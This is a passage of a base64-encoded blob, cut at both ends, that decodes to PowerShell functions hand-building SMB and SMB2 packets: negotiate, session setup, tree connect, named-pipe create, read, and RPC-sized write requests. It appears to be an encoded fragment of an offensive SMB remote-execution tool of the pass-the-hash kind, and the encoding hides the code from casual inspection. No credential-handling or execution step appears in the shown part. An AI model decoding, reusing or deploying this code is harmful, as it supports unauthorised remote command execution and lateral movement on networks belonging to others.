oIlNNQkNsb3NlUmVxdWVzdF9Xb3JkQ291bnQiLFtCeXRlW11dKDB4MDMpKQ0KICAgICRwYWNrZXRfU01CQ2xvc2VSZXF1ZXN0LkFkZCgiU01CQ2xvc2VSZXF1ZXN0X0ZJRCIsJHBhY2tldF9maWxlX0lEKQ0KICAgICRwYWNrZXRfU01CQ2xvc2VSZXF1ZXN0LkFkZCgiU01CQ2xvc2VSZXF1ZXN0X0xhc3RXcml0ZSIsW0J5dGVbXV0oMHhmZiwweGZmLDB4ZmYsMHhmZikpDQogICAgJHBhY2tldF9TTUJDbG9zZVJlcXVlc3QuQWRkKCJTTUJDbG9zZVJlcXVlc3RfQnl0ZUNvdW50IixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CQ2xvc2VSZXF1ZXN0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUJUcmVlRGlzY29ubmVjdFJlcXVlc3QoKQ0Kew0KICAgICRwYWNrZXRfU01CVHJlZURpc2Nvbm5lY3RSZXF1ZXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NNQlRyZWVEaXNjb25uZWN0UmVxdWVzdC5BZGQoIlNNQlRyZWVEaXNjb25uZWN0UmVxdWVzdF9Xb3JkQ291bnQiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CVHJlZURpc2Nvbm5lY3RSZXF1ZXN0LkFkZCgiU01CVHJlZURpc2Nvbm5lY3RSZXF1ZXN0X0J5dGVDb3VudCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCg0KICAgIHJldHVybiAkcGFja2V0X1NNQlRyZWVEaXNjb25uZWN0UmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CTG9nb2ZmQW5kWFJlcXVlc3QoKQ0Kew0KICAgICRwYWNrZXRfU01CTG9nb2ZmQW5kWFJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CTG9nb2ZmQW5kWFJlcXVlc3QuQWRkKCJTTUJMb2dvZmZBbmRYUmVxdWVzdF9Xb3JkQ291bnQiLFtCeXRlW11dKDB4MDIpKQ0KICAgICRwYWNrZXRfU01CTG9nb2ZmQW5kWFJlcXVlc3QuQWRkKCJTTUJMb2dvZmZBbmRYUmVxdWVzdF9BbmRYQ29tbWFuZCIsW0J5dGVbXV0oMHhmZikpDQogICAgJHBhY2tldF9TTUJMb2dvZmZBbmRYUmVxdWVzdC5BZGQoIlNNQkxvZ29mZkFuZFhSZXF1ZXN0X1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQkxvZ29mZkFuZFhSZXF1ZXN0LkFkZCgiU01CTG9nb2ZmQW5kWFJlcXVlc3RfQW5kWE9mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQkxvZ29mZkFuZFhSZXF1ZXN0LkFkZCgiU01CTG9nb2ZmQW5kWFJlcXVlc3RfQnl0ZUNvdW50IixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CTG9nb2ZmQW5kWFJlcXVlc3QNCn0NCg0KI1NNQjINCg0KZnVuY3Rpb24gR2V0LVBhY2tldFNNQjJIZWFkZXIoKQ0Kew0KICAgIHBhcmFtKFtCeXRlW11dJHBhY2tldF9jb21tYW5kLFtJbnRdJHBhY2tldF9tZXNzYWdlX0lELFtCeXRlW11dJHBhY2tldF90cmVlX0lELFtCeXRlW11dJHBhY2tldF9zZXNzaW9uX0lEKQ0KDQogICAgW0J5dGVbXV0kcGFja2V0X21lc3NhZ2VfSUQgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfbWVzc2FnZV9JRCkgKyAweDAwLDB4MDAsMHgwMCwweDAwDQoNCiAgICAkcGFja2V0X1NNQjJIZWFkZXIgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfUHJvdG9jb2xJRCIsW0J5dGVbXV0oMHhmZSwweDUzLDB4NGQsMHg0MikpDQogICAgJHBhY2tldF9TTUIySGVhZGVyLkFkZCgiU01CMkhlYWRlcl9TdHJ1Y3R1cmVTaXplIixbQnl0ZVtdXSgweDQwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfQ3JlZGl0Q2hhcmdlIixbQnl0ZVtdXSgweDAxLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfQ2hhbm5lbFNlcXVlbmNlIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIySGVhZGVyLkFkZCgiU01CMkhlYWRlcl9Db21tYW5kIiwkcGFja2V0X2NvbW1hbmQpDQogICAgJHBhY2tldF9TTUIySGVhZGVyLkFkZCgiU01CMkhlYWRlcl9DcmVkaXRSZXF1ZXN0IixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfRmxhZ3MiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfTmV4dENvbW1hbmQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfTWVzc2FnZUlEIiwkcGFja2V0X21lc3NhZ2VfSUQpDQogICAgJHBhY2tldF9TTUIySGVhZGVyLkFkZCgiU01CMkhlYWRlcl9SZXNlcnZlZDIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfVHJlZUlEIiwkcGFja2V0X3RyZWVfSUQpDQogICAgJHBhY2tldF9TTUIySGVhZGVyLkFkZCgiU01CMkhlYWRlcl9TZXNzaW9uSUQiLCRwYWNrZXRfc2Vzc2lvbl9JRCkNCiAgICAkcGFja2V0X1NNQjJIZWFkZXIuQWRkKCJTTUIySGVhZGVyX1NpZ25hdHVyZSIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUIySGVhZGVyDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0KCkNCnsNCiAgICAkcGFja2V0X1NNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfU3RydWN0dXJlU2l6ZSIsW0J5dGVbXV0oMHgyNCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0X0RpYWxlY3RDb3VudCIsW0J5dGVbXV0oMHgwMiwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0X1NlY3VyaXR5TW9kZSIsW0J5dGVbXV0oMHgwMSwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0X1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfQ2FwYWJpbGl0aWVzIixbQnl0ZVtdXSgweDQwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0X0NsaWVudEdVSUQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfTmVnb3RpYXRlQ29udGV4dE9mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0LkFkZCgiU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9OZWdvdGlhdGVDb250ZXh0Q291bnQiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0LkFkZCgiU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9SZXNlcnZlZDIiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0LkFkZCgiU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9EaWFsZWN0IixbQnl0ZVtdXSgweDAyLDB4MDIpKQ0KICAgICRwYWNrZXRfU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfRGlhbGVjdDIiLFtCeXRlW11dKDB4MTAsMHgwMikpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUIyU2Vzc2lvblNldHVwUmVxdWVzdCgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X3NlY3VyaXR5X2Jsb2IpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfc2VjdXJpdHlfYmxvYl9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfc2VjdXJpdHlfYmxvYi5MZW5ndGgpDQogICAgJHBhY2tldF9zZWN1cml0eV9ibG9iX2xlbmd0aCA9ICRwYWNrZXRfc2VjdXJpdHlfYmxvYl9sZW5ndGhbMCwxXQ0KDQogICAgJHBhY2tldF9TTUIyU2Vzc2lvblNldHVwUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUIyU2Vzc2lvblNldHVwUmVxdWVzdC5BZGQoIlNNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0X1N0cnVjdHVyZVNpemUiLFtCeXRlW11dKDB4MTksMHgwMCkpDQogICAgJHBhY2tldF9TTUIyU2Vzc2lvblNldHVwUmVxdWVzdC5BZGQoIlNNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0X0ZsYWdzIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0LkFkZCgiU01CMlNlc3Npb25TZXR1cFJlcXVlc3RfU2VjdXJpdHlNb2RlIixbQnl0ZVtdXSgweDAxKSkNCiAgICAkcGFja2V0X1NNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0LkFkZCgiU01CMlNlc3Npb25TZXR1cFJlcXVlc3RfQ2FwYWJpbGl0aWVzIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0LkFkZCgiU01CMlNlc3Npb25TZXR1cFJlcXVlc3RfQ2hhbm5lbCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyU2Vzc2lvblNldHVwUmVxdWVzdC5BZGQoIlNNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0X1NlY3VyaXR5QnVmZmVyT2Zmc2V0IixbQnl0ZVtdXSgweDU4LDB4MDApKQ0KICAgICRwYWNrZXRfU01CMlNlc3Npb25TZXR1cFJlcXVlc3QuQWRkKCJTTUIyU2Vzc2lvblNldHVwUmVxdWVzdF9TZWN1cml0eUJ1ZmZlckxlbmd0aCIsJHBhY2tldF9zZWN1cml0eV9ibG9iX2xlbmd0aCkNCiAgICAkcGFja2V0X1NNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0LkFkZCgiU01CMlNlc3Npb25TZXR1cFJlcXVlc3RfUHJldmlvdXNTZXNzaW9uSUQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyU2Vzc2lvblNldHVwUmVxdWVzdC5BZGQoIlNNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0X0J1ZmZlciIsJHBhY2tldF9zZWN1cml0eV9ibG9iKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CMlNlc3Npb25TZXR1cFJlcXVlc3QgDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUIyVHJlZUNvbm5lY3RSZXF1ZXN0KCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfcGF0aCkNCg0KICAgIFtCeXRlW11dJHBhY2tldF9wYXRoX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9wYXRoLkxlbmd0aCkNCiAgICAkcGFja2V0X3BhdGhfbGVuZ3RoID0gJHBhY2tldF9wYXRoX2xlbmd0aFswLDFdDQoNCiAgICAkcGFja2V0X1NNQjJUcmVlQ29ubmVjdFJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CMlRyZWVDb25uZWN0UmVxdWVzdC5BZGQoIlNNQjJUcmVlQ29ubmVjdFJlcXVlc3RfU3RydWN0dXJlU2l6ZSIsW0J5dGVbXV0oMHgwOSwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJUcmVlQ29ubmVjdFJlcXVlc3QuQWRkKCJTTUIyVHJlZUNvbm5lY3RSZXF1ZXN0X1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMlRyZWVDb25uZWN0UmVxdWVzdC5BZGQoIlNNQjJUcmVlQ29ubmVjdFJlcXVlc3RfUGF0aE9mZnNldCIsW0J5dGVbXV0oMHg0OCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJUcmVlQ29ubmVjdFJlcXVlc3QuQWRkKCJTTUIyVHJlZUNvbm5lY3RSZXF1ZXN0X1BhdGhMZW5ndGgiLCRwYWNrZXRfcGF0aF9sZW5ndGgpDQogICAgJHBhY2tldF9TTUIyVHJlZUNvbm5lY3RSZXF1ZXN0LkFkZCgiU01CMlRyZWVDb25uZWN0UmVxdWVzdF9CdWZmZXIiLCRwYWNrZXRfcGF0aCkNCg0KICAgIHJldHVybiAkcGFja2V0X1NNQjJUcmVlQ29ubmVjdFJlcXVlc3QNCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldFNNQjJDcmVhdGVSZXF1ZXN0RmlsZSgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X25hbWVkX3BpcGUpDQoNCiAgICAkcGFja2V0X25hbWVkX3BpcGVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X25hbWVkX3BpcGUuTGVuZ3RoKQ0KICAgICRwYWNrZXRfbmFtZWRfcGlwZV9sZW5ndGggPSAkcGFja2V0X25hbWVkX3BpcGVfbGVuZ3RoWzAsMV0NCg0KICAgICRwYWNrZXRfU01CMkNyZWF0ZVJlcXVlc3RGaWxlID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NNQjJDcmVhdGVSZXF1ZXN0RmlsZS5BZGQoIlNNQjJDcmVhdGVSZXF1ZXN0RmlsZV9TdHJ1Y3R1cmVTaXplIixbQnl0ZVtdXSgweDM5LDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkNyZWF0ZVJlcXVlc3RGaWxlLkFkZCgiU01CMkNyZWF0ZVJlcXVlc3RGaWxlX0ZsYWdzIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQjJDcmVhdGVSZXF1ZXN0RmlsZS5BZGQoIlNNQjJDcmVhdGVSZXF1ZXN0RmlsZV9SZXF1ZXN0ZWRPcGxvY2tMZXZlbCIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfSW1wZXJzb25hdGlvbiIsW0J5dGVbXV0oMHgwMiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfU01CQ3JlYXRlRmxhZ3MiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfRGVzaXJlZEFjY2VzcyIsW0J5dGVbXV0oMHgwMywweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfRmlsZUF0dHJpYnV0ZXMiLFtCeXRlW11dKDB4ODAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkNyZWF0ZVJlcXVlc3RGaWxlLkFkZCgiU01CMkNyZWF0ZVJlcXVlc3RGaWxlX1NoYXJlQWNjZXNzIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJDcmVhdGVSZXF1ZXN0RmlsZS5BZGQoIlNNQjJDcmVhdGVSZXF1ZXN0RmlsZV9DcmVhdGVEaXNwb3NpdGlvbiIsW0J5dGVbXV0oMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfQ3JlYXRlT3B0aW9ucyIsW0J5dGVbXV0oMHg0MCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfTmFtZU9mZnNldCIsW0J5dGVbXV0oMHg3OCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJDcmVhdGVSZXF1ZXN0RmlsZS5BZGQoIlNNQjJDcmVhdGVSZXF1ZXN0RmlsZV9OYW1lTGVuZ3RoIiwkcGFja2V0X25hbWVkX3BpcGVfbGVuZ3RoKQ0KICAgICRwYWNrZXRfU01CMkNyZWF0ZVJlcXVlc3RGaWxlLkFkZCgiU01CMkNyZWF0ZVJlcXVlc3RGaWxlX0NyZWF0ZUNvbnRleHRzT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJDcmVhdGVSZXF1ZXN0RmlsZS5BZGQoIlNNQjJDcmVhdGVSZXF1ZXN0RmlsZV9DcmVhdGVDb250ZXh0c0xlbmd0aCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUuQWRkKCJTTUIyQ3JlYXRlUmVxdWVzdEZpbGVfQnVmZmVyIiwkcGFja2V0X25hbWVkX3BpcGUpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUIyQ3JlYXRlUmVxdWVzdEZpbGUNCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldFNNQjJSZWFkUmVxdWVzdCgpDQp7DQogICAgcGFyYW0gKFtCeXRlW11dJHBhY2tldF9maWxlX0lEKQ0KDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CMlJlYWRSZXF1ZXN0LkFkZCgiU01CMlJlYWRSZXF1ZXN0X1N0cnVjdHVyZVNpemUiLFtCeXRlW11dKDB4MzEsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QuQWRkKCJTTUIyUmVhZFJlcXVlc3RfUGFkZGluZyIsW0J5dGVbXV0oMHg1MCkpDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QuQWRkKCJTTUIyUmVhZFJlcXVlc3RfRmxhZ3MiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CMlJlYWRSZXF1ZXN0LkFkZCgiU01CMlJlYWRSZXF1ZXN0X0xlbmd0aCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MTAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QuQWRkKCJTTUIyUmVhZFJlcXVlc3RfT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMlJlYWRSZXF1ZXN0LkFkZCgiU01CMlJlYWRSZXF1ZXN0X0ZpbGVJRCIsJHBhY2tldF9maWxlX0lEKQ0KICAgICRwYWNrZXRfU01CMlJlYWRSZXF1ZXN0LkFkZCgiU01CMlJlYWRSZXF1ZXN0X01pbmltdW1Db3VudCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QuQWRkKCJTTUIyUmVhZFJlcXVlc3RfQ2hhbm5lbCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QuQWRkKCJTTUIyUmVhZFJlcXVlc3RfUmVtYWluaW5nQnl0ZXMiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMlJlYWRSZXF1ZXN0LkFkZCgiU01CMlJlYWRSZXF1ZXN0X1JlYWRDaGFubmVsSW5mb09mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJSZWFkUmVxdWVzdC5BZGQoIlNNQjJSZWFkUmVxdWVzdF9SZWFkQ2hhbm5lbEluZm9MZW5ndGgiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyUmVhZFJlcXVlc3QuQWRkKCJTTUIyUmVhZFJlcXVlc3RfQnVmZmVyIixbQnl0ZVtdXSgweDMwKSkNCg0KICAgIHJldHVybiAkcGFja2V0X1NNQjJSZWFkUmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CMldyaXRlUmVxdWVzdCgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X2ZpbGVfSUQsW0ludF0kcGFja2V0X1JQQ19sZW5ndGgpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfd3JpdGVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X1JQQ19sZW5ndGggKyAyNCkNCg0KICAgICRwYWNrZXRfU01CMldyaXRlUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUIyV3JpdGVSZXF1ZXN0LkFkZCgiU01CMldyaXRlUmVxdWVzdF9TdHJ1Y3R1cmVTaXplIixbQnl0ZVtdXSgweDMxLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMldyaXRlUmVxdWVzdC5BZGQoIlNNQjJXcml0ZVJlcXVlc3RfRGF0YU9mZnNldCIsW0J5dGVbXV0oMHg3MCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJXcml0ZVJlcXVlc3QuQWRkKCJTTUIyV3JpdGVSZXF1ZXN0X0xlbmd0aCIsJHBhY2tldF93cml0ZV9sZW5ndGgpDQogICAgJHBhY2tldF9TTUIyV3JpdGVSZXF1ZXN0LkFkZCgiU01CMldyaXRlUmVxdWVzdF9PZmZzZXQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyV3JpdGVSZXF1ZXN0LkFkZCgiU01CMldyaXRlUmVxdWVzdF9GaWxlSUQiLCRwYWNrZXRfZmlsZV9JRCkNCiAgICAkcGFja2V0X1NNQjJXcml0ZVJlcXVlc3QuQWRkKCJTTUIyV3JpdGVSZXF1ZXN0X0NoYW5uZWwiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMldyaXRlUmVxdWVzdC5BZGQoIlNNQjJXcml0ZVJlcXVlc3RfUmVtYWluaW5nQnl0ZXMiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMldyaXRlUmVxdWVzdC5BZGQoIlNNQjJXcml0ZVJlcXVlc3RfV3JpdGVDaGFubmVsSW5mb09mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJXcml0ZVJlcXVlc3QuQWRkKCJTTUIyV3JpdGVSZXF1ZXN0X1dyaXRlQ2hhbm5lbEluZm9MZW5ndGgiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyV3JpdGVSZXF1ZXN0LkFkZCgiU01CMldyaXRlUmVxdWVzdF9GbGFncyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUIyV3JpdGVSZXF1ZXN0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUIyQ2xvc2VSZXF1ZXN0KCkNCnsNCiAgICBwYXJhbSAoW0J5dGVbXV0kcGFja2V0X2ZpbGVfSUQpDQoNCiAgICAkcGFja2V0X1NNQjJDbG9zZVJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CMkNsb3NlUmVxdWVzdC5BZGQoIlNNQjJDbG9zZVJlcXVlc3RfU3RydWN0dXJlU2l6ZSIsW0J5dGVbXV0oMHgxOCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJDbG9zZVJlcXVlc3QuQWRkKCJTTUIyQ2xvc2VSZXF1ZXN0X0ZsYWdzIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkNsb3NlUmVxdWVzdC